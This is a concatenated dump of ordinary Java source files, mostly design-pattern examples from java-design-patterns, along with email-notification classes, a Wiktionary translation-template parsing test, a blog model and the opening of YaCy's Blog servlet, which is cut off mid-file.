/* * This project is licensed under the MIT license. Module model-view-viewmodel is using ZK framework licensed under LGPL (see lgpl-3.0.txt). * * The MIT License * Copyright © 2014-2022 Ilkka Seppälä * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.iluwatar.saga.choreography; import java.util.ArrayList; import java.util.Arrays; import java.util.List; /** * Saga representation. Saga consists of chapters. Every ChoreographyChapter is executed a certain * service. */ public class Saga { private final List<Chapter> chapters; private int pos; private boolean forward; private boolean finished; public static Saga create() { return new Saga(); } /** * get resuzlt of saga. * * @return result of saga @see {@link SagaResult} */ public SagaResult getResult() { if (finished) { return forward ? SagaResult.FINISHED : SagaResult.ROLLBACKED; } return SagaResult.PROGRESS; } /** * add chapter to saga. * * @param name chapter name * @return this */ public Saga chapter(String name) { this.chapters.add(new Chapter(name)); return this; } /** * set value to last chapter. * * @param value invalue * @return this */ public Saga setInValue(Object value) { if (chapters.isEmpty()) { return this; } chapters.get(chapters.size() - 1).setInValue(value); return this; } /** * get value from current chapter. * * @return value */ public Object getCurrentValue() { return chapters.get(pos).getInValue(); } /** * set value to current chapter. * * @param value to set */ public void setCurrentValue(Object value) { chapters.get(pos).setInValue(value); } /** * set status for current chapter. * * @param result to set */ public void setCurrentStatus(ChapterResult result) { chapters.get(pos).setResult(result); } void setFinished(boolean finished) { this.finished = finished; } boolean isForward() { return forward; } int forward() { return ++pos; } int back() { this.forward = false; return --pos; } private Saga() { this.chapters = new ArrayList<>(); this.pos = 0; this.forward = true; this.finished = false; } Chapter getCurrent() { return chapters.get(pos); } boolean isPresent() { return pos >= 0 && pos < chapters.size(); } boolean isCurrentSuccess() { return chapters.get(pos).isSuccess(); } /** * Class presents a chapter status and incoming parameters(incoming parameter transforms to * outcoming parameter). */ public static class Chapter { private final String name; private ChapterResult result; private Object inValue; public Chapter(String name) { this.name = name; this.result = ChapterResult.INIT; } public Object getInValue() { return inValue; } public void setInValue(Object object) { this.inValue = object; } public String getName() { return name; } /** * set result. * * @param result {@link ChapterResult} */ public void setResult(ChapterResult result) { this.result = result; } /** * the result for chapter is good. * * @return true if is good otherwise bad */ public boolean isSuccess() { return result == ChapterResult.SUCCESS; } } /** * result for chapter. */ public enum ChapterResult { INIT, SUCCESS, ROLLBACK } /** * result for saga. */ public enum SagaResult { PROGRESS, FINISHED, ROLLBACKED } @Override public String toString() { return "Saga{" + "chapters=" + Arrays.toString(chapters.toArray()) + ", pos=" + pos + ", forward=" + forward + '}'; } }
smedals/java-design-patterns
saga/src/main/java/com/iluwatar/saga/choreography/Saga.java
41,349
/* * This project is licensed under the MIT license. Module model-view-viewmodel is using ZK framework licensed under LGPL (see lgpl-3.0.txt). * * The MIT License * Copyright © 2014-2022 Ilkka Seppälä * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.iluwatar.module; import java.io.FileNotFoundException; /** * The Module pattern can be considered a Creational pattern and a Structural pattern. It manages * the creation and organization of other elements, and groups them as the structural pattern does. * An object that applies this pattern can provide the equivalent of a namespace, providing the * initialization and finalization process of a static class or a class with static members with * cleaner, more concise syntax and semantics. * * <p>The below example demonstrates a use case for testing two different modules: File Logger and * Console Logger */ public class App { private static final String ERROR = "Error"; private static final String MESSAGE = "Message"; public static FileLoggerModule fileLoggerModule; public static ConsoleLoggerModule consoleLoggerModule; /** * Following method performs the initialization. * * @throws FileNotFoundException if program is not able to find log files (output.txt and * error.txt) */ public static void prepare() throws FileNotFoundException { /* Create new singleton objects and prepare their modules */ fileLoggerModule = FileLoggerModule.getSingleton().prepare(); consoleLoggerModule = ConsoleLoggerModule.getSingleton().prepare(); } /** * Following method performs the finalization. */ public static void unprepare() { /* Close all resources */ fileLoggerModule.unprepare(); consoleLoggerModule.unprepare(); } /** * Following method is main executor. */ public static void execute() { /* Send logs on file system */ fileLoggerModule.printString(MESSAGE); fileLoggerModule.printErrorString(ERROR); /* Send logs on console */ consoleLoggerModule.printString(MESSAGE); consoleLoggerModule.printErrorString(ERROR); } /** * Program entry point. * * @param args command line args. * @throws FileNotFoundException if program is not able to find log files (output.txt and * error.txt) */ public static void main(final String... args) throws FileNotFoundException { prepare(); execute(); unprepare(); } }
smedals/java-design-patterns
module/src/main/java/com/iluwatar/module/App.java
41,350
/* * This project is licensed under the MIT license. Module model-view-viewmodel is using ZK framework licensed under LGPL (see lgpl-3.0.txt). * * The MIT License * Copyright © 2014-2022 Ilkka Seppälä * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.iluwatar.dynamicproxy; import java.lang.reflect.Proxy; import java.net.http.HttpClient; import lombok.extern.slf4j.Slf4j; /** * Application to demonstrate the Dynamic Proxy pattern. This application allow us to hit the public * fake API https://jsonplaceholder.typicode.com for the resource Album through an interface. * The call to Proxy.newProxyInstance creates a new dynamic proxy for the AlbumService interface and * sets the AlbumInvocationHandler class as the handler to intercept all the interface's methods. * Everytime that we call an AlbumService's method, the handler's method "invoke" will be call * automatically, and it will pass all the method's metadata and arguments to other specialized * class - TinyRestClient - to prepare the Rest API call accordingly. * In this demo, the Dynamic Proxy pattern help us to run business logic through interfaces without * an explicit implementation of the interfaces and supported on the Java Reflection approach. */ @Slf4j public class App { static final String REST_API_URL = "https://jsonplaceholder.typicode.com"; private String baseUrl; private HttpClient httpClient; private AlbumService albumServiceProxy; /** * Class constructor. * * @param baseUrl Root url for endpoints. * @param httpClient Handle the http communication. */ public App(String baseUrl, HttpClient httpClient) { this.baseUrl = baseUrl; this.httpClient = httpClient; } /** * Application entry point. * * @param args External arguments to be passed. Optional. */ public static void main(String[] args) { App app = new App(App.REST_API_URL, HttpClient.newHttpClient()); app.createDynamicProxy(); app.callMethods(); } /** * Create the Dynamic Proxy linked to the AlbumService interface and to the AlbumInvocationHandler. */ public void createDynamicProxy() { AlbumInvocationHandler albumInvocationHandler = new AlbumInvocationHandler(baseUrl, httpClient); albumServiceProxy = (AlbumService) Proxy.newProxyInstance( App.class.getClassLoader(), new Class<?>[]{AlbumService.class}, albumInvocationHandler); } /** * Call the methods of the Dynamic Proxy, in other words, the AlbumService interface's methods * and receive the responses from the Rest API. */ public void callMethods() { int albumId = 17; int userId = 3; var albums = albumServiceProxy.readAlbums(); albums.forEach(album -> LOGGER.info("{}", album)); var album = albumServiceProxy.readAlbum(albumId); LOGGER.info("{}", album); var newAlbum = albumServiceProxy.createAlbum(Album.builder() .title("Big World").userId(userId).build()); LOGGER.info("{}", newAlbum); var editAlbum = albumServiceProxy.updateAlbum(albumId, Album.builder() .title("Green Valley").userId(userId).build()); LOGGER.info("{}", editAlbum); var removedAlbum = albumServiceProxy.deleteAlbum(albumId); LOGGER.info("{}", removedAlbum); } }
rajprins/java-design-patterns
dynamic-proxy/src/main/java/com/iluwatar/dynamicproxy/App.java
41,353
/* * This project is licensed under the MIT license. Module model-view-viewmodel is using ZK framework licensed under LGPL (see lgpl-3.0.txt). * * The MIT License * Copyright © 2014-2022 Ilkka Seppälä * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.iluwatar.mute; /** * A runnable which may throw exception on execution. */ @FunctionalInterface public interface CheckedRunnable { /** * Same as {@link Runnable#run()} with a possibility of exception in execution. * * @throws Exception if any exception occurs. */ void run() throws Exception; }
smedals/java-design-patterns
mute-idiom/src/main/java/com/iluwatar/mute/CheckedRunnable.java
41,354
/* * This project is licensed under the MIT license. Module model-view-viewmodel is using ZK framework licensed under LGPL (see lgpl-3.0.txt). * * The MIT License * Copyright © 2014-2022 Ilkka Seppälä * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package dao; import entity.CakeTopping; import org.springframework.data.jpa.repository.JpaRepository; import org.springframework.stereotype.Repository; /** * CRUD repository cake toppings. */ @Repository public interface CakeToppingDao extends JpaRepository<CakeTopping, Long> { }
rajprins/java-design-patterns
layers/src/main/java/dao/CakeToppingDao.java
41,356
/* * This project is licensed under the MIT license. Module model-view-viewmodel is using ZK framework licensed under LGPL (see lgpl-3.0.txt). * * The MIT License * Copyright © 2014-2022 Ilkka Seppälä * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.iluwatar.factory; /** * GoldCoin implementation. */ public class GoldCoin implements Coin { static final String DESCRIPTION = "This is a gold coin."; @Override public String getDescription() { return DESCRIPTION; } }
smedals/java-design-patterns
factory/src/main/java/com/iluwatar/factory/GoldCoin.java
41,361
/* * This project is licensed under the MIT license. Module model-view-viewmodel is using ZK framework licensed under LGPL (see lgpl-3.0.txt). * * The MIT License * Copyright © 2014-2022 Ilkka Seppälä * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.iluwatar.observer; import java.util.ArrayList; import java.util.List; import lombok.extern.slf4j.Slf4j; /** * Weather can be observed by implementing {@link WeatherObserver} interface and registering as * listener. */ @Slf4j public class Weather { private WeatherType currentWeather; private final List<WeatherObserver> observers; public Weather() { observers = new ArrayList<>(); currentWeather = WeatherType.SUNNY; } public void addObserver(WeatherObserver obs) { observers.add(obs); } public void removeObserver(WeatherObserver obs) { observers.remove(obs); } /** * Makes time pass for weather. */ public void timePasses() { var enumValues = WeatherType.values(); currentWeather = enumValues[(currentWeather.ordinal() + 1) % enumValues.length]; LOGGER.info("The weather changed to {}.", currentWeather); notifyObservers(); } private void notifyObservers() { for (var obs : observers) { obs.update(currentWeather); } } }
smedals/java-design-patterns
observer/src/main/java/com/iluwatar/observer/Weather.java
41,362
/* * This project is licensed under the MIT license. Module model-view-viewmodel is using ZK framework licensed under LGPL (see lgpl-3.0.txt). * * The MIT License * Copyright © 2014-2022 Ilkka Seppälä * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.iluwatar.state; import lombok.extern.slf4j.Slf4j; /** * Peaceful state. */ @Slf4j public class PeacefulState implements State { private final Mammoth mammoth; public PeacefulState(Mammoth mammoth) { this.mammoth = mammoth; } @Override public void observe() { LOGGER.info("{} is calm and peaceful.", mammoth); } @Override public void onEnterState() { LOGGER.info("{} calms down.", mammoth); } }
smedals/java-design-patterns
state/src/main/java/com/iluwatar/state/PeacefulState.java
41,363
/* * This project is licensed under the MIT license. Module model-view-viewmodel is using ZK framework licensed under LGPL (see lgpl-3.0.txt). * * The MIT License * Copyright © 2014-2022 Ilkka Seppälä * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.iluwatar.factory; /** * Factory of coins. */ public class CoinFactory { /** * Factory method takes as a parameter the coin type and calls the appropriate class. */ public static Coin getCoin(CoinType type) { return type.getConstructor().get(); } }
smedals/java-design-patterns
factory/src/main/java/com/iluwatar/factory/CoinFactory.java
41,366
/* * This project is licensed under the MIT license. Module model-view-viewmodel is using ZK framework licensed under LGPL (see lgpl-3.0.txt). * * The MIT License * Copyright © 2014-2022 Ilkka Seppälä * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.iluwatar.dirtyflag; import java.util.ArrayList; import java.util.List; /** * A middle-layer app that calls/passes along data from the back-end. * * @author swaisuan */ public class World { private List<String> countries; private final DataFetcher df; public World() { this.countries = new ArrayList<>(); this.df = new DataFetcher(); } /** * Calls {@link DataFetcher} to fetch data from back-end. * * @return List of strings */ public List<String> fetch() { var data = df.fetch(); countries = data.isEmpty() ? countries : data; return countries; } }
smedals/java-design-patterns
dirty-flag/src/main/java/com/iluwatar/dirtyflag/World.java
41,371
/* * This project is licensed under the MIT license. Module model-view-viewmodel is using ZK framework licensed under LGPL (see lgpl-3.0.txt). * * The MIT License * Copyright © 2014-2022 Ilkka Seppälä * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.iluwatar.prototype; import lombok.EqualsAndHashCode; import lombok.RequiredArgsConstructor; /** * OrcMage. */ @EqualsAndHashCode(callSuper = true) @RequiredArgsConstructor public class OrcMage extends Mage { private final String weapon; public OrcMage(OrcMage orcMage) { super(orcMage); this.weapon = orcMage.weapon; } @Override public String toString() { return "Orcish mage attacks with " + weapon; } }
smedals/java-design-patterns
prototype/src/main/java/com/iluwatar/prototype/OrcMage.java
41,395
package gr.athenarc.mailer.domain; import gr.athenarc.mailer.mailEntities.InitialEmailEntity; import gr.athenarc.mailer.mailEntities.TemplateLoader; import java.io.IOException; public class InitialMessage extends MailMessage { public InitialMessage(String from, String fromName, String to, String subject, String body) { super(from, fromName, to, subject, body); } public InitialMessage(String to, String request_id, String project_acronym, String creation_date, String final_amount, String subject, String url ) throws IOException { super("[email protected]", "ARC Helpdesk", to, "Υποβολή αιτήματος " + request_id, ""); String format = TemplateLoader.loadFilledTemplate(new InitialEmailEntity(request_id,project_acronym,creation_date,final_amount,subject,url), "emails/initial.html"); setBody(format); } }
madgeek-arc/arc-expenses
mailer/src/main/java/gr/athenarc/mailer/domain/InitialMessage.java
41,409
package gr.athenarc.n4160.mailer.domain; import gr.athenarc.n4160.mailer.mailEntities.InitialBudgetEmailEntity; import gr.athenarc.n4160.mailer.mailEntities.InitialEmailEntity; import gr.athenarc.n4160.mailer.mailEntities.TemplateLoader; import java.io.IOException; public class InitialBudgetMessage extends MailMessage { public InitialBudgetMessage(String to, String request_id, String project_acronym, String creation_date, String url ) throws IOException { super("[email protected]", "ARC Helpdesk", to, "Υποβολή αιτήματος " + request_id, ""); String format = TemplateLoader.loadFilledTemplate(new InitialBudgetEmailEntity(request_id,project_acronym,creation_date,url), "emails/initial_budget.html"); setBody(format); } }
madgeek-arc/arc-expenses-n4160
mailer/src/main/java/gr/athenarc/n4160/mailer/domain/InitialBudgetMessage.java
41,417
package gr.athenarc.n4160.mailer.domain; import gr.athenarc.n4160.mailer.mailEntities.InitialEmailEntity; import gr.athenarc.n4160.mailer.mailEntities.TemplateLoader; import java.io.IOException; public class InitialMessage extends MailMessage { public InitialMessage(String from, String fromName, String to, String subject, String body) { super(from, fromName, to, subject, body); } public InitialMessage(String to, String request_id, String project_acronym, String creation_date, String final_amount, String subject, String url ) throws IOException { super("[email protected]", "ARC Helpdesk", to, "Υποβολή αιτήματος " + request_id, ""); String format = TemplateLoader.loadFilledTemplate(new InitialEmailEntity(request_id,project_acronym,creation_date,final_amount,subject,url), "emails/initial.html"); setBody(format); } }
madgeek-arc/arc-expenses-n4160
mailer/src/main/java/gr/athenarc/n4160/mailer/domain/InitialMessage.java
41,503
package org.getalp.dbnary.languages.eng; import static org.junit.jupiter.api.Assertions.*; import java.util.List; import java.util.stream.Collectors; import java.util.stream.Stream; import org.getalp.dbnary.wiki.WikiText; import org.getalp.dbnary.wiki.WikiText.Template; import org.getalp.dbnary.wiki.WikiText.Token; import org.junit.Test; public class EnglishTranslationTemplateStreamTest { @Test public void testTemplateStream() { String source = "{{trans-top|absorbing all light}}\n" + "{{multitrans|data=\n" + "* Abkhaz: {{tt|ab|аиқәаҵәа}}\n" + "* Acehnese: {{tt|ace|itam}}\n" + "* Afrikaans: {{tt+|af|swart}}\n" + "* Albanian: {{tt+|sq|zi}}\n" + "* Amharic: {{tt|am|ጥቁር}}\n" + "* Arabic: {{tt+|ar|أَسْوَد|m}}, {{tt|ar|سَوْدَاء|f}}, {{tt|ar|سُود|p}}\n" + "*: Moroccan Arabic: {{tt|ary|كحل|tr=kḥal}}\n" + "* Armenian: {{tt|hy|սև}}\n" + "* Aromanian: {{tt|rup|negru}}, {{tt+|rup|laiu}}\n" + "* Asháninka: {{tt|cni|cheenkari}}, {{tt|cni|kisaari}}\n" + "* Assamese: {{tt|as|ক\u200C’লা}}, {{tt|as|কুলা}} {{qualifier|Central}}\n" + "* Asturian: {{tt|ast|ñegru}}, {{tt|ast|negru}}, {{tt|ast|prietu}}\n" + "* Atikamekw: {{tt|atj|makatewaw}}\n" + "* Avar: {{tt|av|чӏегӏера}}\n" + "* Aymara: {{tt|ay|ch’iyara}}\n" + "* Azerbaijani: {{tt+|az|qara}}\n" + "etc.\n" + "{{trans-bottom}}\n" + "\n" + "{{trans-top|without light}}\n" + "* Bulgarian: {{tt+|bg|тъмен}}\n" + "* Catalan: {{tt+|ca|fosc}}\n" + "* Dutch: {{tt+|nl|donker}}\n" + "* Esperanto: {{tt+|eo|malhela}}\n" + "* Estonian: {{tt+|et|pime}}\n" + "* Finnish: {{tt+|fi|pimeä}}\n" + "* Georgian: {{tt|ka|ბნელი}}, {{tt|ka|მუქი}}, {{tt|ka|ბუნდოვანი}}\n" + "* Greek: {{tt+|el|σκοτεινός|m}}, {{tt+|el|ερεβώδης|m}}\n" + "[etc.]\n" + "}}<!-- close {{multitrans}} -->\n" + "{{trans-bottom}}"; WikiText wt = new WikiText(source); Stream<Template> s = new EnglishTranslationTemplateStream().visit(wt.content()); List<Template> l = s.map(Token::asTemplate).collect(Collectors.toList()); assertEquals("trans-top", l.get(0).getName()); // multitrans template is voided and its content should be directly available now. assertEquals("tt", l.get(1).getName()); assertEquals("tt", l.get(2).getName()); assertEquals("tt+", l.get(3).getName()); assertEquals("tt+", l.get(4).getName()); assertEquals("qualifier", l.get(17).getName()); assertEquals("trans-bottom", l.get(25).getName()); assertEquals("trans-top", l.get(26).getName()); assertEquals("trans-bottom", l.get(38).getName()); assertEquals(39, l.size()); } }
serasset/dbnary
dbnary-extractor/src/test/java/org/getalp/dbnary/languages/eng/EnglishTranslationTemplateStreamTest.java
41,505
package blog.model; import java.util.Date; import java.util.UUID; import org.hibernate.validator.constraints.NotBlank; import org.hibernate.validator.constraints.URL; public class Blog { private String id = UUID.randomUUID().toString(); private String _id; @NotBlank private String title; @URL @NotBlank private String url; private final Date publishedOn = new Date(); public Blog() { } public Blog(String title, String url) { super(); this.title = title; this.url = url; } public String getId() { return id; } public String getTitle() { return title; } public String getUrl() { return url; } public Date getPublishedOn() { return publishedOn; } public String get_id() { return _id; } }
shekhargulati/52-technologies-in-2016
30-dropwizard/blog/src/main/java/blog/model/Blog.java
41,506
// Blog.java // ----------------------- // part of YACY // (C) by Michael Peter Christen; [email protected] // first published on http://www.anomic.de // Frankfurt, Germany, 2004 // // This File is contributed by Jan Sandbrink // Contains contributions from Marc Nause [MN] // //$LastChangedDate$ //$LastChangedRevision$ //$LastChangedBy$ // // This program is free software; you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation; either version 2 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program; if not, write to the Free Software // Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA // You must compile this file with // javac -classpath .:../classes Blog.java // if the shell's current path is HTROOT package net.yacy.htroot; import java.text.DateFormat; import java.util.Date; import java.util.HashMap; import java.util.Iterator; import java.util.List; import java.util.Locale; import java.util.Map; import net.yacy.cora.document.encoding.UTF8; import net.yacy.cora.protocol.HeaderFramework; import net.yacy.cora.protocol.RequestHeader; import net.yacy.data.BlogBoard; import net.yacy.data.UserDB; import net.yacy.http.servlets.YaCyDefaultServlet; import net.yacy.peers.NewsPool; import net.yacy.peers.Seed; import net.yacy.search.Switchboard; import net.yacy.server.serverObjects; import net.yacy.server.serverSwitch; public class Blog { private static final String DEFAULT_PAGE = "blog_default"; private static DateFormat SimpleFormatter = DateFormat.getDateTimeInstance(DateFormat.DEFAULT,DateFormat.DEFAULT, Locale.getDefault()); /** * print localized date/time "yyyy/mm/dd HH:mm:ss" * @param date * @return */ public static String dateString(final Date date) { return SimpleFormatter.format(date); } public static serverObjects respond(final RequestHeader header, final serverObjects post, final serverSwitch env) { final Switchboard sb = (Switchboard) env; final serverObjects prop = new serverObjects(); BlogBoard.BlogEntry page = null; boolean hasRights = sb.verifyAuthentication(header); //final int display = (hasRights || post == null) ? 1 : post.getInt("display", 0); //prop.put("display", display); prop.put("display", 1); // Fixed to 1 final boolean xml = header.getPathInfo().endsWith(".xml"); /* 